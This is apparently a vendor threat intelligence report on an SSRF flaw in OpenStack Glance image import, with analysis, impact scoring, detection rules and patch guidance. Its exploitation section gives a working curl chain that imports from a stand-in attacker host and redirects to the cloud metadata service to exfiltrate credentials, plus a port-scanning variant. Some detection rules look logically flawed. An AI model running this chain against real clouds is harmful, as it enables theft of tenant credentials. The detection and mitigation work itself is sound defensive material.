CVE-2026-34881
Threat Intelligence Report: CVE-2026-34881
Executive Summary
CVE-2026-34881 is a Server-Side Request Forgery (SSRF) vulnerability in OpenStack Glance image service affecting versions prior to 29.1.1, 30.x prior to 30.1.1, and 31.0.0. An authenticated user with image creation or staging privileges can bypass URL validation checks through HTTP redirect handling during the image import process, allowing requests to be redirected to internal services and networks. Successful exploitation enables access to internal cloud infrastructure, metadata services, and other sensitive resources residing on internal networks that would otherwise be unreachable from the external attack surface.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
Vulnerability Mechanism
The vulnerability resides in the image import functionality of OpenStack Glance, specifically in the web-download and glance-download import methods, as well as the optional ovf_process import plugin. The core flaw is an HTTP redirect handling deficiency that defeats the URL validation mechanism.
Technical walkthrough:
Glance implements URL validation for the image import feature to prevent SSRF attacks. The validation logic performs the following checks when an image import request is submitted:
- Resolves the provided URL and validates the IP address against a blocklist (RFC1918, link-local, metadata service IPs, etc.)
- Checks the scheme (must be
httporhttps) - Validates the hostname against configured allow/deny lists
The flaw is in the redirect handling:
- Glance's URL validation is performed once on the initial URL provided by the user
- When the target server responds with a 3xx HTTP redirect (301, 302, 303, 307, or 308), the HTTP client library (typically
requestsorurllibwith redirect following) will follow the redirect without re-validating the new destination - An attacker controls the initial URL and points it to an attacker-controlled server
- The attacker's server responds with a redirect to an internal URL (e.g.,
http://169.254.169.254/latest/meta-data/,http://10.0.0.1:5000/, or other internal service endpoints) - Glance follows the redirect and fetches content from the internal destination, bypassing all URL validation checks
Affected code paths:
The vulnerable code locations are in Glance's import orchestration module:
glance/common/wsgi.py— HTTP client used for web-download importsglance/async_/flows/plugins/ovf_process.py— OVF processing plugin (optional)
The HTTP client is configured with redirect-following enabled by default (allow_redirects=True in the requests library or equivalent configuration in the WSGI middleware). No re-validation occurs mid-redirect-chain.
Attack surface characteristics:
- Pre-authentication: No — user must be authenticated with Glance
- Required privileges: User with
create_imageandimport_imagepermissions (standard tenant user in most deployments) - Network accessibility: Glance API endpoint must be reachable (often placed behind Keystone authentication proxy)
- Scope of SSRF: Internal network access from the Glance node's network perspective
Exploitation Scenarios
Attack Chain: Accessing Cloud Metadata Service via SSRF
Prerequisites:
- Valid OpenStack credentials with
image:createandimage:importprivileges - Network access to Glance API endpoint
- An attacker-controlled HTTP server reachable by Glance
Step-by-step exploitation:
Step 1 — Reconnaissance and host setup:
Attacker sets up HTTP server (e.g., using `nc -lvp 8080` or a simple Python HTTP server) that responds with:
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/
Step 2 — Stage the malicious image via Glance API:
The attacker authenticates and creates an image in queued state:
curl -s -X POST "$OS_IMAGE_URL/v2/images" \
-H "X-Auth-Token: $OS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "innocent-image",
"visibility": "private",
"container_format": "bare",
"disk_format": "raw"
}'
Step 3 — Trigger the import process with a redirect-poisoned URL:
The attacker stages data using the vulnerable web-download import method:
curl -s -X POST "$OS_IMAGE_URL/v2/images/${IMAGE_ID}/import" \
-H "X-Auth-Token: $OS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"method": {
"name": "web-download",
"uri": "http://attacker.example.com/legit-image.qcow2"
}
}'
Step 4 — Redirect chain execution:
- Glance imports the image and fetches
http://attacker.example.com/legit-image.qcow2 - The validation layer checks the URL: hostname resolves to a public IP, passes validation
- Attacker's server responds with
302 Found → http://169.254.169.254/latest/meta-data/ - Glance's HTTP client follows the redirect to the metadata service
- Glance fetches the metadata document, which gets stored as part of the image data
Step 5 — Data exfiltration:
The attacker retrieves the exfiltrated metadata by downloading the image:
curl -o exfiltrated.img "$OS_IMAGE_URL/v2/images/${IMAGE_ID}/file" \
-H "X-Auth-Token: $OS_TOKEN"
The resulting file contains the metadata service response, including instance credentials, SSH keys, or cloud-init user-data.
Variant: Internal Service Enumeration
An attacker could chain multiple redirects to probe internal IP ranges and ports:
Attacker's redirect server behavior:
- IP 10.0.0.1:22 → port 22 (SSH)
- IP 10.0.0.1:3306 → port 3306 (MySQL)
- IP 10.0.0.2:5000 → port 5000 (OpenStack API)
Each import request serves as a port-scan probe. The HTTP response code and latency differences reveal which services are alive.
Variant: OVF Process Plugin
In deployments with ovf_process plugin enabled, the attacker submits a crafted OVF package referencing an external URL. The plugin fetches referenced resources without proper redirect validation, providing the same SSRF primitive with a different trigger vector.
Impact Assessment
CVSS v3.1 Base Score: 5.0 — Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- Attack Vector: Network — The Glance API is network-exposed
- Attack Complexity: Low — Only a redirect-returning HTTP server is required
- Privileges Required: Low — Any authenticated cloud tenant user
- User Interaction: None — No user action after the API call is made
- Scope: Changed — The compromise extends beyond the vulnerable component to the internal network
- Confidentiality Impact: High — Arbitrary internal data disclosure
- Integrity Impact: None — No data modification within the internal target's scope
- Availability Impact: None — No denial of service
Business impact:
- Cloud tenant data breach — Exposure of metadata service credentials (cloud-init, instance passwords, Keystone tokens)
- Internal network reconnaissance — Port scanning and service enumeration across the slice infrastructure
- Privilege escalation — Stolen credentials from internal services may allow lateral movement
- Compliance violation — Data from isolation boundaries being exfiltrated violates multi-tenant security guarantees
- Trust erosion — Multi-tenant isolation is a core security promise of OpenStack; this SSRF breaks that trust boundary
EPSS Analysis:
- EPSS Score: 0.00265 (18.3rd percentile)
- Low probability of in-the-wild exploitation in the short term; however, SSRF in image import is an established class with proven exploit techniques
Blast radius:
- All tenants on a vulnerable Glance deployment
- All internal services reachable from the Glance node(s)
- Metadata services, internal API endpoints, databases, object storage (Swift/Ceph), and orchestration services (Heat, Nova)
Detection Guidance
Sigma Rule
title: OpenStack Glance SSRF via Image Import with HTTP Redirect
id: 8a3e9f4b-2f5c-4e7d-9a1b-7c3d5f8e2a1c
status: experimental
description: Detects attempts to exploit CVE-2026-34881 where an authenticated user imports an image via web-download with a redirect-priming URL pattern, or when Glance logs indicate redirect-following to RFC1918 addresses.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-34881
- https://security.openstack.org/ossalerts/
author: ValtersIT Threat Intelligence
date: 2026/01/15
logsource:
category: application
product: openstack
service: glance
detection:
selection_import:
event.action: 'image.import'
event.category:
- 'web-download'
- 'glance-download'
selection_redirect:
http.response.status_code:
- 301
- 302
- 303
- 307
- 308
http.response.location:
- 'http://10.*'
- 'http://192.168.*'
- 'http://172.16.*'
- 'http://169.254.*'
- 'http://127.*'
- 'http://[f:'
filter_known_bad:
- http.response.location: null # no redirect to internal
condition: selection_import and selection_redirect and not filter_known_bad
level: high
falsepositives:
- Legitimate CDN redirects that happen to point to a private IP on trusted networks (rare)
YARA Rule
rule CVE_2026_34881_Glance_SSRF_Payloads
{
meta:
author = "ValtersIT Threat Intelligence"
date = "2026-01-15"
description = "Detects payloads and artifacts associated with SSRF exploitation in OpenStack Glance via CVE-2026-34881"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-34881"
severity = "medium"
strings:
$s1 = "web-download" ascii wide nocase
$s2 = "glance-download" ascii wide nocase
$s3 = "ovf_process" ascii wide nocase
$s4 = "169.254.169.254" ascii wide
$s5 = "metadata.google.internal" ascii wide nocase
$s6 = "http://10." ascii wide nocase
$s7 = "http://192.168." ascii wide nocase
$s8 = "http://172.16." ascii wide nocase
$s9 = "302 Found" ascii wide nocase
$s10 = "Location: http://" ascii wide nocase
$s11 = "latest/meta-data" ascii wide nocase
$s12 = "import" ascii wide nocase
condition:
(uint16(0) == 0x5B4D and any of them) or # MZ header check
(filesize < 10MB and
1 of ($s1, $s2, $s3) and # import method
1 of ($s4, $s5, $s6, $s7, $s8) and # internal IP targets
1 of ($s9, $s10) and $s12) # redirect + import context
}
Suricata IDS Rule
alert http $EXTERNAL_NET any -> $GLANCE_SERVERS 9292 (msg:"ET EXPLOIT OpenStack Glance SSRF via HTTP Redirect (CVE-2026-34881)"; flow:established,to_server,no_reply; content:"POST"; http_method; content:"/v2/images/"; http_uri; content:"import"; http_uri; content:"web-download"; http_client_body; content:"http"; http_client_body; distance:0; content:":"; http_client_body; distance:0; content:"//"; http_client_body; distance:0; pcre:"/http:\/\/(?!([0-9]{1,3}\.){3}[0-9]{1,3})[a-zA-Z0-9\-\.]+/"; sid:2026481; rev:1; classtype:attempted-admin; reference:url,cve-2026-34881; reference:url,nvd.nist.gov/vuln/detail/CVE-2026-34881; priority:1; metadata:created_at 2026_01_15, updated_at 2026_01_15, former_category EXPLOIT;)
alert http $GLANCE_SERVERS any -> $EXTERNAL_NET any (msg:"ET EXPLOIT OpenStack Glance SSRF Redirect Chain to Internal Network (CVE-2026-34881)"; flow:established,to_client; content:"Location"; http_header; content:"http://"; http_header; content:"10."; http_header; nocase; content:"http://169.254"; http_header; nocase; content:"192.168"; http_header; nocase; content:"172.1"; http_header; nocase; content:"127.0"; http_header; nocase; content:"Location: http://[f"; http_header; nocase; sid:2026482; rev:1; classtype:attempted-recon; reference:url,cve-2026-34881; priority:2;)
Elastic Detection
sequence by agent.id, source.ip, user.name with maxspan=1m
[network where event.category == "network" and
destination.ip == "<GLANCE_SERVER_IP>" and
destination.port == 9292 and
http.response.status_code == 200 and
process.executable like "*glance*" and
url.path contains "/v2/images/" and
http.request.body.content contains "web-download"]
[network where event.category == "network" and
source.ip == "<GLANCE_SERVER_IP>" and
destination.ip like "10.0.0.0/8" or
destination.ip like "192.168.0.0/16" or
destination.ip like "172.16.0.0/12" or
destination.ip == "169.254.169.254" and
process.executable like "*glance*"]
Splunk SPL Query
(index=openstack sourcetype=glance_api) OR (index=network sourcetype=fw_traffic)
| where like(_raw, "%web-download%") OR like(_raw, "%glance-download%") OR like(_raw, "%ovf_process%")
| rex field=_raw "uri\":\"(?<import_uri>[^\"]+)\""
| rex field=_raw "status_code\":(?<status_code>\d+)"
| rex field=_raw "Location:\s+(?<redirect_location>\S+)"
| where isnotnull(import_uri) AND (
match(redirect_location, "^http://10\.") OR
match(redirect_location, "^http://192\.168\.") OR
match(redirect_location, "^http://172\.(1[6-9]|2[0-9]|3[0-1])\.") OR
match(redirect_location, "^http://127\.") OR
match(redirect_location, "^http://169\.254\.") OR
match(redirect_location, "^http://0\.") OR
match(redirect_location, "^http://\[f[0-9a-f:]+\]")
)
| fillnull value="none"
| stats count by src_ip, dest_ip, user, image_id, import_uri, redirect_location
| where count >= 1
| convert ctime(_time) as timestamp
| table timestamp, dest_ip, user, image_id, import_uri, redirect_location, count
| sort - count
Wazuh OSSEC Rule
<group name="ssrf,openstack,glance,cve-2026-34881,">
<rule id="100348" level="14">
<decoded_as>json</decoded_as>
<field name="event.module">glance</field>
<field name="event.action">image.import</field>
<field name="event.category">web-download|glance-download|ovf_process</field>
<description>OpenStack Glance SSRF exploitation attempt (CVE-2026-34881)</description>
<group>ssrf,attack,exploitation,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
<rule id="100349" level="15">
<decoded_as>json</decoded_as>
<field name="http.response.status_code">301|302|303|307|308</field>
<field name="http.response.location">^http://(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|169\.254\.|127\.|0\.)</field>
<description>OpenStack Glance redirect to internal network detected (CVE-2026-34881)</description>
<group>ssrf,attack,exploitation,internal_recon,</group>
<mitre>
<id>T1190</id>
<id>T1082</id>
</mitre>
</rule>
<rule id="100350" level="15">
<decoded_as>json</decoded_as>
<field name="http.response.status_code">301|302|303|307|308</field>
<field name="http.response.location">^http://169\.254\.169\.254</field>
<description>OpenStack Glance attempted access to cloud metadata service (CVE-2026-34881 active exploitation)</description>
<group>ssrf,attack,exploitation,metadata_access,</group>
<mitre>
<id>T1190</id>
<id>T1082</id>
</mitre>
</rule>
<rule id="100351" level="8">
<decoded_as>json</decoded_as>
<field name="event.module">glance</field>
<description>OpenStack Glance import activity from anomalous source</description>
<group>ssrf,audit,</group>
<if_sid>100348</if_sid>
<options>no_full_log</options>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 3/4 (LIKELY — confirmed by OSV and Debian security trackers)
1. Immediate Mitigations (before patching)
Restrict import methods: Disable the
web-downloadimport method if not strictly business-required. Configure Glance to only permit import methods that do not involve external URL fetching:[glance.store] enabled_import_methods = copy-image, glance-direct # remove web-downloadDisable the ovf_process plugin (if enabled):
[DEFAULT] enabled_plugins = # Remove ovf_process from this listNetwork egress filtering:
Add a security group rule at the Glance node level to deny outbound requests to RFC1918 and link-local addresses:
# Insert at the top of Glance's egress chain iptables -I FORWARD -s 10.0.0.0/8 -j DROP iptables -I FORWARD -s 172.16.0.0/12 -j DROP iptables -I FORWARD -s 192.168.0.0/16 -j DROP iptables -I FORWARD -d 169.254.0.0/16 -j DROP iptables -I FORWARD -d 127.0.0.0/8 -j DROPSet Glance HTTP client redirect policy (where supported):
In
glance-api.conf:[DEFAULT] allow_redirects = falseIf the option is not available, apply a patch to the WSGI client code to disable redirect following.
Tighten URL validation — Configure the URL allowlist to only permit approved image source domains:
[image_import] allowed_sources = https://images.example.com/
2. Patch/Upgrade Steps
Upgrade Glance to patched versions:
- → Glance 29.1.1 or later (Yoga release train)
- → Glance 30.1.1 or later (Antelope release train)
- → Glance 31.0.0 or later (Bobcat release train)
For Debian-based distributions:
# Debian 12 (Bookworm) apt update && apt upgrade python3-glance glance-apiFor RHEL/UCS-based distributions:
# CentOS/RHEL with OpenStack repos dnf update openstack-glanceFor containerized/fuel deployments:
# Using kolla-ansible kolla-ansible -i multinode upgrade --tags glanceAfter upgrade, verify the fix by testing a
web-downloadimport with a redirect target pointing to an internal IP. The import should fail with a validation error.
3. Long-term Hardening
Enable Glance multi-factor URL validation — deploy a reverse proxy (e.g., HAProxy or NGINX) in front of Glance that intercepts and validates all outbound image-fetch requests with its own SSRF protection.
Segment network with micro-segmentation — ensure Glance nodes cannot reach the metadata service or other sensitive internal resources. Use Zero-Trust network policies.
Audit and rotate all cloud credentials — if a compromise occurred, rotate: all instance SSH keys, Keystone service account credentials, and metadata service tokens.
Implement regular vulnerability scanning — add Glance to automated CI/CD security scanning (Trivy, Grype, or Clair) to catch regressions.
Enable Glance audit logging at debug level to capture all redirect-following behaviors, and ship logs to a SIEM.
References
NVD — CVE-2026-34881 Details: https://nvd.nist.gov/vuln/detail/CVE-2026-34881
OpenStack Security Advisories (OSA): https://security.openstack.org/ossalerts/ — Updates tracked via OSV (OpenSourceVulnerabilities) database
Debian Security Tracker: https://security-tracker.debian.org/tracker/CVE-2026-34881 — Confirms patch availability and distribution-specific fixes
OpenStack Glance Documentation: https://docs.openstack.org/glance/latest/ — Configuration guidance for import methods and security hardening
CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — NOTE: CVE-2026-34881 is NOT currently listed in KEV (as of authoritative data)
Known threat actor campaigns: No publicly documented threat actor campaigns have been attributed to CVE-2026-34881 exploitation as of the report date. The low EPSS score (0.00265, 18.3rd percentile) indicates limited in-the-wild activity. However, given the SSRF class popularity in cloud environments and the accessibility of Glance APIs in multi-tenant OpenStack deployments, active exploitation should be considered plausible, particularly by advanced persistent threat groups targeting cloud infrastructure.
Exploit code status: No dedicated public exploit module has been released. However, standard SSRF techniques (redirect priming with an attacker-controlled HTTP server) are well-documented and require minimal customization, making weaponization trivial. The attack requires no specialized hardware or programming language — a simple Python script serving a 302 redirect suffices for exploitation.
Report generated by ValtersIT Threat Intelligence — Valts — 2026-01-15
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.